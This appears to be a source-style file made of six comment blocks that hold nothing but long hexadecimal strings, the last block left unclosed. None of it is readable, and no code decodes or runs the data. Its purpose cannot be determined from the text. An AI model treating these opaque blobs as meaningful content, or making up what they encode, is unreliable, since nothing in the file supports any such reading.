/*faf93f809a89a5890bba786cec4a2c77242294562f96c9bf9aee252aa9f045d829b878575ce87f3bcd7e625fbf093e91d0b7f9fa2cc21898c9240c49f3d11f23bc9628d5d03077e0d81d7ab48d8dca4471f6ddcadee98925dd72de75ffebb29398354e5bef20a4bab554c46e01be492bd0cc5b9eb677623bc02631494275da36a29d86893f6829ad09205428ed2f74c4624303bfcd9f76482a54f3e2638757ce1f15cad380aac312fc26fdd749af7b620103b4ecd676f79a9aa4eb89ac9bb806ef513ee08c23aa6b9535e8aed7fee170fe21f56189520e7b23090573a934178196b80e548237e8661ede518650cded4c6f8302e92307f7622e76f74b47474ba996149868f0c4d4b55252d81810f5cc10b09882db7e17d8d595a0e79ddbda0214491d27efa8a17f8115d60cafc616d1d833da93ff9fc5be788f8cd5428f95910a6b70811ca010f97d056b141b7f5fd9132bbefa4a562b6be01597af242b02ea8bab3eca5f03fa179954285979503e018da6fbfa421f5aa2e7fc8b580444a14653e4efdc1c288350bc70d633f3c58d731b3ffeed0f905c30fee679aa004acfcad0390d0441dc3ca8fa3cb891d21aee13aaebf9214c8604735e127810a109f99648585db07ffa82db9b1393b9384b77c525a17a904ff5ed521ce5b5c6765f2f941f382123fd925bda908a9177c5e16e678b89830175fad852a2530fdf1e8d30c2202cb732bbf5658fb488e95fc6be2a08978d0721c675a3f0fe859e07eb915096caf4902bde4143084eab8feb8c7ff29b60afac553eef28b0e135003895f6db9d95e0c2f5371295841ddb55b30aff5558e413dd13a9132a8c022d21feddea0f5e5db3aded2c0f68ccdcff420a69a3325c5912a79101ec2e54ff21fdbbfee4382a01177860ebd8098a43363547476c71adf1809c21c00206a55c6dcd719a574ae2c032409489ab5851ab19f0a94b3de3031364bbe6ed319cfda53c45abecfad59ca267e4106f568a4d7fc8b8f3dffb9662a74cc91e5c24f21869b9541442f6caa8cfa8b3c4c5633bccd1dd08d7ff893776f1dec36c5a07bd93305a74ec0166f32c8393c7516dda94230da90f35ae936edb835fb6a6be79cf6d1093f3bd2664b44fe7dde7c634466c2ad33836c7e86a80b225154e7fdc14fe47b9e9786bfe3f35c506dae91c1de0f308154afac667c72e30deb17df98b71297c5524aef62963c92f33adbfdd63c3557fd2696e66cd3733724cda19765d6d40b9f283086729678a2635ce71954a83970aef361a6a3bcfedfae7309013efd9bc53df214eef99435e565da2932f90ded0e43e74d25107d5e6f004e924493d6e41f1b6a87ccecd9ebc5e06a83edd632a92b52df4602a0172f6497e2b6b92cd529b114e36f394981cbd227be40e5d724ac76bc6564758f72858ab7e2f851dca74223ecf3f170c829ff683731e3c1b7d67d4f784ac4ddfdc53da4ba71c61ed454cd655e5ef2d8e25c6cfc20a5faf97d0feaf954699568e4e9bb4a6359e92a63aeeeafb6e85202f1cf24de73ddc0d2d3b02d54f547361354f464b6dfef07767139b8964fa0c7038d10897f59417020d937feda74f9c8e1c1760155e893218b7708da36da6b18dc16c7d03957119e382b0289dd1ed8789565a43286ef220dfc70c47a810ae4958e518c6cc252fd0aa9fbbb0283cee8ff5ec8f17fa897fb3bbbac2ada5420e7346111b15e3d59ee08292af88ab51f7b59cbd38c5dacdfc0cc8c2c82cbad7001afa7725a1af801f5122d96f383124c6016bce75e35d9dc70693be124aa9d6067b6dbd9bad616d91ddbe1196cfbe632c8fd42876b4b3b7ad0d107ec95b5e5ccee80b02649e6cb4523428cb34589d422dc51e9e203b0c72dea82bd808222918c4fd4f0634a5793501af4f538e45970935650418ddd3399ab04f983aae755949e0f0e46ef918fe44d56f323739b15aa3796af939341edf4554a69354a13b886d48ae06632a32ae5aecefd5f4adb4fbb65e9f9e20485e027ff2a648659fdfee618d223aa8f4722b297935a4685757293cc811c6f53919c9ce2a7841d2c0b8c8e83bb31d3cd8fd71f97687839cb4f4ed5aafeae2ab22d533148339e5773f5f5c7374af6df9912ec0dcacba2082726df8cffa53c1ab05fd18be2e8803d0d6f62fa2c34029876956db777523ddbfdeef15ae4cee71852e98b2eb4ebb42088dee1b6c4f377143190253145d32b8ae189e63fa76df5880a6945c1ecf7f737efd24defc2b1d2c49aa2b5fe3a669587bd7e72d5ebafcfff1ea6afc626db447ae345515062422f6a31c4fef549d127181d931a617278fcc8aae19d9d76003a7b244311db3189b9c8d303825af3aa83cf494804e5f9b3ce0a4a7805f884302138315ead982c4158a6dfece95ebadb8806d6edc4f35489ec76e9686b9b47e4db8b74185df9ac21c5bb072757fd7e77bfede31ef8288779c5ecc5180806818cefc5349cdab245cadd7e1a6c8d8eacd9348389f9ba1760b6c3cbb711424407feacce812a77eb3b885d0844a5c83f0b3088610aa4bd79036370c8ef3e699798332f94e3353cd74cd7883186948218246942e2a5056d5e1e47f1fe9640d1f72dea4a5e708dc8cb5b5aa79ee74ea936149fdbfd955918203767ab7c485685ea5967403791b6f4fcf76e0213cb9392fb0212b54eb77b86ee1fc3dbf80e20f1a89a2e0caff52f000fe6a427c306ff4f259280429cdd40c7036097c3b92048861c2f242c4f8e5a97a3c43f889b208309f959578fada9152686feadb8c4e641435988a60676df2dae6db56134131f6688176c4e29197d70a5c489318878b74300fec5e*/
/*c4bd907e5584854d54eda75c13829f66fd2431cb189233478bfaabdeeabcc87831551783867f0005192cad92195f528858120df0dc16f0b736d785756c615b6ad23858880e1adbc91b19dedf94f70d9231bb15dbf1c9346ed0e1bb453f181c454d233845a775cc10d3d44a77aff68021abff9003184dc505dbf1c0c8539f562c876917b74156c02eadbe9506b00fbe44467ba006bbf9c0a19636b34bf3716a3021fabe4b673bed35bbdf31b0c49b80ef2208d5d95df75b0885b33aa516c2212f2e9534b83f436a920f655c7442a70424454fb972901117b49fa480cdab2bc232ac6e638e1e82cba8c4dc595a788195a69f5f58c4800a20654fefea39dea5d39c6654a55474ef835b0ad1a817a6ce5d5e17c4436933d5f1e5f889291235c380695b01d6e577663c1b9205f728b34ddad487f36294b4e906e37a283a817b36c4bf4b4dcd2b33b0bb09a7bc6c450d9ebcadd715d47fffbe1b44118a68aa7c3d1a653be2f8f2fd34a693b30ded01dc5f6911f96df200b7e4a141e159a6d2d5c8c94543647930cfbf3c4e8df99ba4ffcf6ad2d11d661ea0a157377de3cfb26aab45790212ee018c8d9ffbdc0ff326d4ffd46f9416f51e64b92e09f135d6f2ca3ea8990b20ed352e652b11f967794aee9c72a2483f4668c8811fe0e01c581771e98a582b5d79664287ce0df474beec168147494daebd064696c038038d3ae4b075fd9763d0206c12518ccecdfc5d4e2530afa041f103cfd3f34dcfbce3e60a9ec6bbddf4dbc71ab767cade2f9e1c024262ce7b32ed0156fdab1781dee77d52bec8a0e1ede53880140a17b2e07e4c9a16834ad2810a3b6ed4f0e4b3ab92d4ba461749c7e6e1fe01fd90d277f82f04e63ff21c0382d70fc9ae8b40693725b1484f0a70fa67273a9bc777dfd98a7d8b702712ad10ec303eee9c9fc81555d1cd35f507a4c336440b0233b11f5797c24940a7f1142ff65b3f2e7d2adc929e70f767afcbe73766333328122c54acb110def8b276667e2a65b42ad0b41eab841d079c03cf9ad1ec43388eb9baf6f48b756e5496518ee45c69c0e89718072caa2af00a29339942041ed2d1a10b1813ab394af10f7190187a6951b424a36be6e00b7ba3855448d0280546332508088a0dc5c67812a6f55151ed1569e7a93a4f8cfc967b2dc6d4102029fbe2cc6200b88a505f467f9bdc4ee34630a10ab223646ce635f6a8a68b673cab390173ce58d51f740f101bc8a4fb1c4d1ccba4b857a29e85b944c651a271a84a38145898c19adb29eec88f7fcd80de799c5af56da3af65b5bbeca6027ce2a1698e70133cf79dfe721ce00c0e5d6edcaadb6310e39fe0bb70576fa131b6ff70122f04b9932014d579cd93a28c4922e78a457f0075d1ec599072742a3e85c79228648be62f91780467e04eaeadf55c333741f89eacdf8a0cf47836baf784ae6e0923d3cc871778ac37de362793edeb1596baa225ef99cd5313d69b93bbb7d5bc7e464a85805db1e51ad61c8659c4adeb378f2853141e8e220ea05d1e7f92460eb2736b0fec0756cabc6abc0b061bb4e5741fcf160fce43fab143c207b4b7efaf673826dc80cf572258146c46c84cf4166bbfdbc3b7781d39b3ee9ef6fc1e2a0ccbe7938000fd07a8ec03d03a497dca1909ce7eaf1d65abbaa93607b575d10245aae4effc704cde3f71dc78f691f0d47edb78ddd1e831b8d931bfb521a8f80398723530b86cc4f7182b2600ab2cc3e386b821aeb30375c81aaa6cac5af1c836263c6e49b6c1bc9d8f1422fe2b3b48b6241b31f3870895200aa3ec903748ba1500d451532e3248dbce07be8dc83ce5410fdd3de7c9615ddb50d7f3bfdc9ef3f817431e8a1325751cc7422b876577522b2be6d2bdb83d4dfe462c89e793095c07a9d7e4c72a05046f89475a98acf36102f0d051972b48aea0f5b84035c2785d230e4c9ad33512ee6ac825e017a401f3af32cbc45d4570007a925ee61733a262e6c0490ccd614b9c9c358ff7dd601c15b36f17bed4c9e0bb6795bfc1de5258e91ceb03182239311b8b7b7f41e1fe35fc3546e14d14cce8e15be4b002b079349e2fa7ded112d896950d624ce4af859909dbdfd8e7721783b175e4766fbac315a79ca65bf27d4ef6761282627332e314ef94c387098a347513cb652c68d7b8c33c05e122ab47e30b4d5ee83117655fd7532c49d70164d49aba0d3cb9f30e4673bc4cfff49b4587918f4d447b416076edfef6379736f9f191a65ed8625166fbcc65cf947383b0ea0460c76d57273c52f4bae9d4affd28284bee5701e3ead2df85b2d11a15349bc6cecb257fee6a639d4568cb2e70caa777a210729fbdf70af6571c1ba245cf7c462eb889c9915da04364b84fed56d9547595ed2c86839c7cae679f3ef0892da9c7ccb3645001229369e577aff1ad7eb3cf29b53f547a9c612e8de38428ddf13f6db6efdebc079e67d6ef46d8114aeb29e0e9de4df42deb240904a9e90f3abc202e18d585f6e8e08f0497db5376183c303d244ce6fd22b014ea71b20b1e39a9cf19702a3710ce7811586815aa3709e3023e0f20699ead20a523ea85248afef590459469a70921f45742f47a3be38bb6f18557d25ca97e248af1d2f93e4d9746174935f27672512ded8d8b2f202673993bb127b647aa0425aac90bf4588d51612a989d5b3be2798c8877dee42830fb6a767acda9a9b66f9575490f835a4252ccd36fbcb3a27715b86acdb96650a5f432e49963e94b136993c6561c4c8927f78fa1e716ddd56102c296368b3a2091d05b1d52fe7c7faacd18dfbb28259688ee46a895f86ffc69d07282bde97ad5*/
/*d863ad43f51f773c93a1b8dd5e03754dffaf921d132727c5c2f3486a62176ad199946a3d371f8c479b9c6c577b830c9c3469fcbde349de769898cd64f8be9d845fb3d87cb84c5841dc737000e86413435fcb0687a14011d48774cd584fa0cbe201408b329a31e9fba0f3378416743cb24129e45a051d6c1c427529ac1c5d83c7da3481ad5a35b55ab19b2e93b00d21120120031b124152c6cfd84decdf287e28e7b871bfa4a297719fb11b2e4ac84cde4bb27873044de5f9811c706262d5215b27247d0cd6b634e3eb906b01875c5fb7e269015c2063df039ed4ae5aee96d8adace98104ebfcf6c4adbe9822e0ab504da6a415ddb1f308dda7e04988f4698c28fbd451780def7925e432956179bf8edc8a37dacb0cb62e1b8bdb08be12d84cda3203745235eb10253372d634241b4b05bbe4604c958d9e3c2e7711351eef4532957441ecae04be04353208484e57e1dd786a27ca88e1351adacc2a7ce4f3c8d66ea59447e5764a51b3595d7a4a80f8ac1368dd81a74e648013b8e73207702d9de64fc647461f3a4641652c4ff0a4c8632055944e42e388ac287c7932b189e16a31152bde6420ad9f37676ba95cc6ce363d56a3f91eac9c866ca070bb59e5637eaa0211f88530a9a71c847be374ec69c3a89dbc6d5fa05d1ee166b189c3266cd1eaec723403aeaebcff06b6eb6ec2649e5fcc67c4212d308f1d8e18247f63a2c72865725e5205fb52ce513f91521aa2b48da795c8b16fc05ccace7a7faabbeccb553110e057b8c6aaca5d649250910475ed67c2befae632476a0c275cf190a82dc9162ca4b9baf347ad2fc8fe8f4e413493d2c983f047e606c1537a65c3edd4ee230a5f97b63cb7fb5585c2ac5ae4373e788ebe418410821adda9c80ceb2bf3fd4efed9b516a444689e139dbcfe3cb97643c91f7ae156a6127949e7ba8d9f807aae14cecd0d6f198b1840e67a51dc22b7d4d11ea85925dbc680e2308241e7a417a51411ba6b8617b5a7a0b0a28523b3ad8dd6491e363c4d72cbb85be931221a17b2c17444adb05eafb84cf5902233c2c23addd2fef1b0aaee0fd41f0a4073df8eeffd2bc1401673afbdf854753795da5629ef6021935f034381b4494d28e421b8768dc0dcb6d2cfc179ac4ad1c116a64a24f36be592d58335d60fc391fe7018ccfe93731639224358a18a9aa4b6e711e994bbf17c1b6e4dc5d042a2cd3f3bd5f43619a88fd153fccbf53cc58c24af3dabf0ab4d4789f022a129582223e55de8713db11e949ceafd91cc800c938faf9fb4b36b8020cdbd3b081b15c354c32b74afb013a1bac51269597b1284aab0708457428250193e451cb239a011a0586948423e659288ac27312dc0c8fe59af3e33f1e6108496c4cd19d1017365272ccb7cc9cc571335338daa829d0d72e559a1286b1b3100715c211748e1c2ae4b11b80b43c1860636e69a43b08c5f3d2cd3ecb1424436dbcff45a85c919afc7ec93ecc8cadf3998029ff48cf8e6136c459a6cf64569bbb6518793ddd1f90eacc7545faa376155363abcc640c2793cdafd5e49e42e867b8373594affb9900c7d3317f5546731f65a792552a92d3dbda94ce43111da73a23b8b126147cb8a96c50a0f8cc34867a927bf75497d657fa9b74b3a68fbae9bed3f7db44c7f4d37865d6f058c188c940ed47750418096a623de4f7f2f007aa094906dbd124013c8c02e7023fc14afdc270239e0b111d2fc3334ef965da6da6d67e0508901b0160ca24fee5ad99a32d2736054a038ff69d7178924ed8de6260f3c96ff9867b1964b256bb295837829605e23a35a1cb456d7866062445f15ffd058573e6bb00471aba86283bc976ca2bd5d1f50cfb4fd40bcbf92a3f2eaa06c3c20589d6da657b6300f78a4acfe9950a13de7c281da6d810e30a7ccd5d1529d54561834f0ab488849ca1f0f4a0c15de66834a6f42784d941898161c8455efeedbbd2fbb4937f9101c5ab1458eedd1f6e9048468fbd87d662fed8f537562cd1007eaa0caa78754ad662ef7e627a6f3d4181f82afb9179a9955fa2c9b215a9aa13a6c29bbc0031e72f96be090a595527b8d7d5200618c8591062439497d647b307937b0561b1a8ad3a2bdde890f735ba07d7dac70762f6033fa6c094e0f49d1eaac65015a1ab3f73a99d496791458db2287b025d104bafb3768876ff2fde0675fc96308f20f2d59ab29978262b918829aedd50b332d287429be44e035a7889dcbea6a1811cbeddcee885873e15dd367b57e8751f23db05817cb33342d9a9c064a78563451d93a73c3f0ae453c38659cd892f8c98f996050c58262d166ff8d8f03231e85b66fd489c3a7b96c7d77f9d52a140f6edc1a57b8a3edc9e59f842d02935302d0fc5a108a4e42252e277d54cfbabaad7172d11da0076bba9a3ff8aa6bf421135a1210553f83600d16d7c102d36e7deb0b194418441589c1c4359f69c7144f1c17f9df76b150d92aaf23791c663e8a870c15da01eaa7d26957760eeed50414558720035dfd0f9099723663ca6ba7a75273ed8db911d185e723e30f89a18443d079472e3b70ec696393bf3444cd007718bdc1fe01384a993e709ef7e4d6e3ce3819603ee243607dbdc697e73852b51907e267e5f0e18c3952a0c71c3a0fb9c47d9773a4ba72ef4459780f7ba205602dbb4da87685f20ef645d8bbec6fa2f82e5b13e2c83662b7eeedcb0360919d7207ebee4b5c7e8f995be337009b3907f2dacf9a1470ae8a20d7a30e04105504b6ec94ce5f943038a48de2829f5dc2233e7650b43f2632a340a7b23b04846339b58fbe73e77a9b8ada47708bb18728a5ad*/
/*63c3317d652b81be62166c7e523c297d6980950ec005d4c148f8275b677420651b40864a67dc11514be85958fe9e623cf78a7e33eca42bb1cc8aaf14cf79101f687b7b35be44c2a39eb3ea02f724e16f787814774a838a5613153f61a312ee02817cf52794e1bd5f618934f9e04de97860ea4c536b7976783c4fe3c41eb66c4b114f15b569235e92881af74f951ce351c2a13e4c2be8b70143e2720805072692a75838a205d0f738fb4e01cc20c0a138e1202f544a4b28178e14653cc1c790bae749201cd43a3855ac715cd13cb0163995491f9cf450866916318b40b0cf558a736fa97b94ca5a63fae0e5e4a88af1c068f05547744c667c142fc80caa33c7860a62d1316a59e138f4bbdae69f6acc3425de02d82decb6544b357d40f4306ea3e2c7f94b0ed5e67da8db9a808ad5b70d0e8179879f9b13f370cc8dcd5142bd29a6b8617c7bde8ac5982dbe3ccec3db1de9ef317767622f3d1f29600056a8bdee6964c260e40a61a7840d16e9bf4f7533a35282ca01067bfd77b98daff7e908424cf49b899512616ea826941c8d1c5758fc64d7bc5138738e32d78dadbaf81880dcac92f9f26f2ecf0694c624c04bd21f40f64701faadac246284d70127b219155ae8991e678ce0b8893ee01b2faf91237012687d30d1e408a55a3670403380f8ee66baf8fd966ac2b7988deef4b955d1c4ce613041d10319282568b578dc928884b8d0e075d23de9d7fcea6d5fdc27682738b56e5ec0a5bd19d5ed552225af3ec1543591f3969ae30c7196052691f80cd194e8877d3aa7d444c56e50b5df43a104ebe6b07b13fbd196c689a81ffdb2f7b28ff55a91db5e6df8b57e678690959b63257794d88b4a323ad6890d507391c879a66fbbac4f8c9df6a13fc3b5e71015cdb3fd0099fabd60409f555076c29b1858e1961f3d0dfab12a82029bef11088e08a933bf5f2c02868a7c465935b7864a6cfc2b3c2bd25328285eeb3bf5944194a5bb47e096770d77787b34ddadcaf77ec031ad06557c3a9afc5b7c7c03c5081ca6bdde6b41633737db801edb5c584c0ae469c2958e68b69f266384cefa11e73ca6e7f82cbd228532ab5e72b6f086e74ec24a6e3fe1592ec7dfc132f3af117e696efe86165f2183260f6550fdb22449cd468d5ea6b50995677b8c8df551373dd808a600d79f8011d409d4d46459845a8d0385f5e0591e76d2c3c1c64bbf5b34ea71590735cf9168331ae0090e04771009939cfb3dcb7470f041735c58aa198d70b4cfb6c2ac3c20d8336b0c85a5641d5e2dbf7e62dfc0e1d11d36da74fe47db38ebc96911636b615f2e481fdf5547bcc3f03ed0040a77b9f2e63537295b44900e9901bf1fcbcda99f0e31e5cd9849025ff6adecace4a66adda39733bc2055cd570a18724c80505e0d0a51212513819523eeb32cba94aee16c0687644b9b61785b0882c81f1f4d9f80e730f107a9a40e959378f0d90ee16a81a82c4d5ccee3dd4602113ebc0cb427f1738c5760e90c90d2f011bfc978adbf0420683b092cd999877b0463331ab61f38c9fed5377aa462384ec621b59dccd4bf63f9da0818e9726445b5296dc6e0345c5ff5d37b9185a543e3d982e19171e5934b128550a2a5b647df800ba86423f9134ef914c32234eb1244c8684a2678587f03943aa5e18ff318ee25a8f5d84a1995768491fc8a9d36a5908f56fcf2fd5fdedad993c58af826021439efe4bf95c25b35c25bd3c8333349e7f7e15cfa89d8777635b101277fe4eec6bad3aa75fd303858b0080f3e17c094ee47d87811b7fcf235e91c2b34e80ef5cafc4ecc4462cd24c77f22174fa0313be2445cd7a8607346d889ee0f74345586b0b2710f519ed534c10d925bacc837922617f659d6e4265d097c5b5d7116f7b85ad2c648a8eddc588ffd404f22846cacc38719b41d2c7a4f69b61357f2265df057148102c1277e138987d64b13353d3d3a632fcdc51c6b577ef7256e8f6a68b43085e39641c484538b2963409a0df59178694eef3611876d713c484caa86ed701d449ad89826d36132512f3897c23af85316f88c909f154c3653731312342e63d0dded63bd7b38806d059a22cf71b7fe53eead21144c5f2231def64e6a5426d31a579769a903f05a5e3e701508577a238b14c8d9ec01d1e35e258e5efd4d7d8505aa94f4bc86e3bb5c994f0c9dc4c409dada9bbd339e3b44f64ead0ad239bc41e63969f3870e495686e0701cdb6c2c9c4df237c94e804af019375d06e01096bce0282fea0bc6b3b74617d32ceace93b631780b443913fe4eafe6701f1b389ebbe2348efdc0fabf5919fb23514fd2b76ff2876456f5e274803ab72ebe70ce1415d002aebd1f2ec0a10c9e9547b743cd59aa0d8b1bdc357a0ab6cc5da8e2853eee1cdd1deed1d56191ad4728cd5d10bbd1727c4a14854deb77c4ca20d1739ac7553edd073a429bdcd1ec6b3a1f96be0e13018ec44b401314e3555b65f36792c53e8bdaac08f53df800eccd2ca9f0821fcbe255e69c0aa7fd5ff948ef18b805f89b6e512c39a330fa6b817f8a5561a17bf7ee6a1543f5a177b92c1201588dbc8adbdb32c808f1a4c88483a6ed30b8e291bc3509170683a8689bac8f57b5cd978f463fc2f992f07c62b73e1c77ea0bf49810e6d6ffe88ac44ed71f6021449fd49ccf2c1b3e3487a68da85f529fa0db72c37eafd6841ebe852ce73105ceb2c9fdc2ec0b2b2451815d48cf26c2eb050a4c69f7bdf7b660798ace59ebf835a7e0e5e09d21d2f48b38d101e6a9bac17f7fc9afbb49681e3a69bb3271d6b9a0bdafa5bb2f2606b76b8521e93b9c0837dcd2ac3983*/
/*2b40b4f1619e26c442927ec330092ef06e4cb534ca95b4a8376d60bfb2ac3063c09cd4af004839d20d80291586c79d6b6010999b689922469b3d119f3db356fc6f325c9a6f2e9bcf2c0edf7093e5434d0e6c0d21e1f56912efa950faabaebf9f3e3b98d5086a5192b181c8515c442d7d967918d4e6be27375737a9127998d7120af398bd171c330d5e59eb9ec835705fe989276d93996336214c82c3c954b58b53786cb39bf0e2773115605f6d085546ba086609099a511f73b506830ff19ef8a045e112b91ea0ac896ffb64db6f0626ce9ffb9edb3049afa6c5f46b25fc19d12ef4ca12dbd76936e47e120bbb471c7308be4e818ece0cad59735524807d6fd71fd27a6b07c3fd9612be568f08dc1e4157ea6e1018afc104490d3e35d73133f720a7e3a90cc871c55f0b863b5dcf02955c7a128888922a69c728d62bab6481088fbad0755a4adc856c2ffdbbc884365dd398d2fdbbd98561dde810be13809a576d4cc547aea2b052d244f59c6a192de73469bd2ebdc123dbdfcc4f5e49dbba8023c8d9da3072903084b986db7c91797231d7f7f69f4c3d6c032e09c63a5652976d4f413f84ef54d02a549ebc61559395312a27353be08b94fa96a68c05af863dd857aed9324bd9a0fceaa6ed4b59b2de1e4041435db4c1ea6682aac23aa0724964f48d6a9b202089fa6e6b657727944d3cc1eded043e46cfa1b912b493ebabf2f3f31d6d4a408e181a11fe3b270bb299e0bf0dff954c21f5b215be1b10ff7538540733557e2a998b524a59c9f6d27a988d8fd114d3b6bdbdbb014709f9442bf0338f82b8427d49b54f46faa766b24945039d0821ba3629ec352e578e5043199aa7960f3ab3c96f4588635bdb9f42005484908101e83b22e887177291769c8f23067c4eac1a79e4bb45e950906db29675a396bcf8c4510de9e7621c462967dc948704b533a60f73dfd79634af9b3f907dd4edc3f26ee3469c61b872632b524b4eb6bda41b4be0387b008eed6e41b1d69b4cd66cabdd17ac7defbaa60acf5999ec4a5c1e9c991c271de49cb31fc6c6feae9f3e085c85acd33f93d9c9131a6a4c54e927cf789fa11cf10766a9bf35fa0206d292b191650665ad752e03a0c6fb4b8f926341a2a5c9fdf2fbec8487340c267185724f2ebcb614e2c38220915d873cd942504b9acd4639a6517077697500a684c223fa65ea5ab13b658fcedf0614a92aa01438cba499ab1462d6765166c042b600fee36dd37d3ae9042f55c44d93b7242bddbaaf4302e89580f6b7ff88460697815840ee3188f2d3b485711dd16b57610556718cb98344a00b6800c21ec18be030237d173d92c5a44855b916dd0d928e41a295aa747e2b10dd444e9a6afec69e9c8bad1085ac61301695c2bd98bbab45caba2018579c8bb9e80bf618f63c07320533c4588cbb3f4b168a755d540ddc723f027a55e04594fdf04af1563d567c7824ed0d540678d5154a6fe11b989a635c34056d5dcd1cbfc4a75036c7bb64de1240c359d9fa7902c2c1ad61e043df5bec2a23e36d5d0896c23d0025ee783b78ab6daa20428374d639e6c9ef827cdcd91df1985619210af6f512be8a3173e72314db72413061435d584eb83304e4d4f5ea49c8ca2b3b291f8bd3832bba1a96427ff772fca9333a4858eefd882d600931cc9e89eefe7ede9606e82018d84f8b0bdd67ac136044e82af96cf219fcde655f4aa440465f020e4b784b6e49e47d42717e13571345330e220a0b3cd58cd07dbb22204b94327482962a41d68f984df6c7bb16070f13cb2f16cd769bf2855b10913ce8dc1d329450aa2877ce02e5177705e6d67d2280e3dcc789e5b732f44d2a300a48107c86204115db37cd2a521d8dbd01f8843234559d380eb08134a17011dfccf48e3cbbd906b016ec5f5283e2e8ff887885553c793be19d72a1ea375f25332fce17dc710c769493b1cf5e60c6438e6144182636e32cf067f23125519419d107c4a731e2af2d99691b97b8a1c07e1202d464af4b148b78d814b119e932a5f2974dfe2c3b755a6a69063a22a04e446c1bc98224477c574f774dc61f15ad3ac6ebab735b43390aeceda4e99e22bf58795d114dc942d41b60fa1016f2d621b2a6b441aeeb970d89511031d004d2a788c7b739ad8392e37d9f33ad9f5a299913d973622a0db6e8d4ca8efbca0aef0d6fd9b834f515a74b9e329b91d8fbcde03929b5533f783ace8df98ba1639eea770eb1fe0ccdd0405e3e13bb6270323da6dd5d752f659c15823d5bbeb0f19951c5b1498f20c81459aca7082d8144a2c24729d85211a9bfcccb6973e7021d263b39cfa2952db4a39a643aca26df1e5ebd0b5a71985c32076fc98e1e6839b5ad6e789e7e423484bcd6f664d58a8940ce5d4db52574b105e2042e807203a12bd0d2efc0277ddd7b4df098531050522763ef5e8a4f0825a92fe6cb019c3c46e7fe3c993e01317424c14d30c520a0f9f7f38cb489ef8c8d0913e23ad26d09e65544f83e355a391c85accc0584d39c191e4d598bbf7db24b039333c597ee17fe73a6abd01f1d764666747c2b903971e6955a0f95751ade12ba0780a89ce7ec256d0f266bfdaa5debe73713294f8cd310a2517b07584317ff26ed5bb35ebd547bd52badf222e91aa2b05d7b6abc7133c6f24632b56c844662cc2cd4380f769f4d9026839d6f1ed8ae0ed201d3e470ad2efb1dfbf8a5ecc1b858eb3f756385dc56c6de036c92bcadf76fec73872abd9373c07ffd19ca7c98c994a2e67ab3a8c8c42dc799a61fa60e67f3ed99d0201da4b8d3c588cd394562e404248a776b8b8a1cd87690e547f461*/
/*7e3b5b08e7649e911373296cb2762fbf3b8283a6341243ea7fcb866c010448392eb4f35166f028a1ee9a4a47a4097fcba04f3194105036a57c557a2022bdc1e396bcd37ebf014628c54cc9066c1e77037d54c72b3927cb65ac2ff88168b7fa343ded08979aa7594950de6a7671a95f40e5a05d1defead875f58e615802b8a85fce24fbf833e796235c92bd411a8cadda376d1de4287b0d26f1b8d4db1386b7fda8cd532b57a231f0a07372883f9b73503d7cb40a7c987e5a1ea735d920c93365029f77f6102f2bce72a27eede90517758e940077f6e173453e81e31c1f0ff76f0a62c87beb49696f575beb24a4d3aeb091e7812c1d9284996b3f7b1cc29341d671d08e923158ca9e6a864054c48b2ae79fcfea0972c2eae06287a7cb3ddf238c5375bf02fe002ff4469d6e02749783859b112e5363f996ea492f46244168253504de57ec217eb62afe10ce3f7ae9d3293b3850cd3b010befce33ad10410b501ad850c248c490d9ff2d2bb1611cf15561cd50eb4365a7a9932a0b4ce8a7932c12d6b90997e823371234445befd5e543c6fb494e5358749caf91bb15de34ee5afdea18f2a003ed062c971396c227c8836e99c28e7a0e62522e81e06991c2199ce3f57c36496e876aa694eb990fc0baa946402bb5eac32a99a6c0dbf2915210e2d86642eeec6820ffb86db7d2c9f035732262a904125a17f1eb0b43683017b451a1fd125596f3a76a7b38e42543c46c6fea09e63acc275364ef87d6666282e98fbcfc01ca09bb1f03a7f42711d0b9dbf5c41bdf106dd05e77a07c777a85ce86f7882656e19476e3f0df21dd06b5696bce3b003bc2d552e97829f4ed57d870c7e556366e8dd002ff079d96e44e18f4eb18eded822b3239e43c9e949a76ae1eea2df0805bbdcfb4a17d6f619633fe6eb87f71f23bfb45a3c8a2b80523662ff90a6c1cb2b2e8e93aba4330ef589f9e0ab8a37f56bd0de4a73878da78f84b6de0aa2637b7014a408de35ec9ba14d6ac9e623d09c5c5dd6a38cb8745fc13bd51fe5384d5c238c07163a3a65af147e55c513e4d2c68e78ada8de0c7397ac7f75c4b85a3ac5268cb4d34f6a0488d0acab84cbf1acc1f44e15a3fdf685105a53d554311f9ad352944e07e326bfef62f2426584874665966b33dbc412d6153681220160dc9b8e22114ce6a17562e55f843e5471b5151d4e5a0b50dfa059c64b9e619027c954d0475baa4d73a592bb78eca3e5c547130614c1eb119346cbb5e961e73ff05dd98f20a7907be0d10eb1d217f77c1c1f94078f2261083f53373b50bd7c5cdd26b46d3818cfd88b6eb1a42664301f1ba918bb499e637d68b5a90a0bc0dc1120fd1037b8e555219c728221dc39e404a3387797b9029decb86c59190b5cd266c36931148df2e317fe0bbf5e5e075f406ca166ce068c373197440f1f07459e82f2da57dff839d6587666f9e3ebfded7fc9f19664ef13ddab1c1085d446f4002cfa27807a892d70ffa726e7cdaa71ac84879d6e5d1507cc696570ca7724a8b4d70164aac043cb496d4b83eda0a917c256ca8ab82c8e1f4f77296df0af41f4f159217b8050a4480c11673089731b124b55b53f7d8eed23494ca125794d352f1c723fa4af8513899bf5c2ed905533e3ffe2557f38b3efb3bb35f3907a552f9f91b3a37a3622993934f788d1c6bb2a43882a5cd3c2b95871702e5726fe74b4a65622616f2741a387c39bb57d5994af875b010eab712d582d0896669fa7fcf231cd1384b54fcf9a359cdc1613c62d83ce25432f1b513c950feddaefd80786b946e17177956ececb12176e0adfc1c80ce6bf41832811544d9e042e193836ebc5360829503a4a5a9d5f2735274b28a854300d01b364c84e19b5261629935d370399f65127a8f8300ea48f83b8993dfdf7bb331cae79cc286bbe5e85bb6fe5eaea00c520c63c68bdaf1167937a2a6013cd43da740753bcbfb9e15e7360440134ed2f7d1040638f325b9a1276f58ff896e1040f12affef034288ca8f6a98c6be507f7b5de03851fa827e898c611935872c46d52923822efcb3ce78e16455f85f2efdd657fd28833411d43e9fe9c6eaded23d48106b20d79ed28c65d37e0dd044aeaa3162b1f00eee747553182b106ce547b9e1890ada7cb90bd165c7265d086565ae353bf6fe7d317c5576ef0b21295b20920450d7c55c5d63e7a63a408394def14ee0ecbb7874ddf88c70c6eb0f7459b08eec7ceb64ed2f7ff57c346ea32810629ffea387752610e9edc1fbc408b36f94cb02eb1ea45aad23601b403fb62b15235bad8c86b8a8e15559da3f17a314bf80bf849010829469764534aeaa7dafc124ba45e0453d4689fc6031573c9661af67b194c71ecf0a22080a447b4cd5870ecf9e2c1c9895830